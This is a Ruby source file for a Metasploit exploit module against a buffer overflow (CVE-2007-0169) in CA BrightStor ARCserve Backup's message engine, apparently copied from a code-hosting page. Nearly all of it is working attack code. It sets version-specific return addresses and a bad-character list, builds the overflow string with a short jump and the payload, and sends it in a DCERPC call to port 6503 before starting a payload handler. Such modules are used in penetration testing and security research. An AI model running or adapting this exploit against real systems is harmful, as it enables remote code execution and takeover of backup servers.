78 lines
2.2 KiB
Ruby
78 lines
2.2 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::DCERPC
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor ARCserve Message Engine Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup
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11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow
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the buffer and execute arbitrary code.
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},
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'Author' => [ 'MC', 'patrick' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2007-0169' ],
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[ 'OSVDB', '31318' ],
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[ 'BID', '22005' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 600,
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'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'BrightStor ARCserve r11.1', { 'Ret' => 0x23805d10 } ], #p/p/r cheyprod.dll 07/21/2004
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[ 'BrightStor ARCserve r11.5', { 'Ret' => 0x2380ceb5 } ],
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[ 'BrightStor ARCserve r11.5 SP2', { 'Ret' => 0x2380a47d } ],
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],
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'DisclosureDate' => 'Jan 11 2007',
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'DefaultTarget' => 1))
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register_options(
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[
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Opt::RPORT(6503)
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])
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end
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def exploit
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connect
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handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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filler = rand_text_english(616) + Rex::Arch::X86.jmp_short(6) + rand_text_english(2) + [target.ret].pack('V')
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sploit = NDR.string(filler + payload.encoded + "\x00") + NDR.long(0)
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print_status("Trying target #{target.name}...")
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begin
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dcerpc_call(47, sploit)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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end
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handler
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disconnect
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end
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end
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